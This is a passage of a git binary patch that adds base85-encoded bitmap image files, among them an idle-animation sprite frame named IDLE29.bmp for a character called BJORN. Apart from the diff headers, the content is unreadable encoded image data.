zGp0=x4}@WnT)?F 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 literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/IDLE/IDLE29.bmp b/resources/default_config/characters/BJORN/status/IDLE/IDLE29.bmp new file mode 100644 index 0000000000000000000000000000000000000000..dfe1ccbfa487e53e86caa9c420d3d357084d1c36 GIT binary patch literal 18462 zcmc&+2UuH2w)VdAy=)wp^v!NIdFdO+jvYHTwz0uBy;mVX^ePa&7)&wE^xly`0!bix z@4fflO|POiQACyQJ3n3$RB?CY(qZ^+9nppjE3cydA*iRe$jdq)wxqGCKE zqTIrx-6Nu0!^5A3gu8@9x`su&MUZ@A6Z}ZzKoTV+o*EiYi=?E+B&EgCa%ee)nML(g z4V~>>!^6*~W@eVxS9cGYte;x}cWwU^^q<2DkL|}0j}g|~%3^y@cXn9v@QTD1<1&5+s>$Wbv@ƅK2DP02@-Gf{DAD14$qBn2Ho#)KtkhbI_C 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 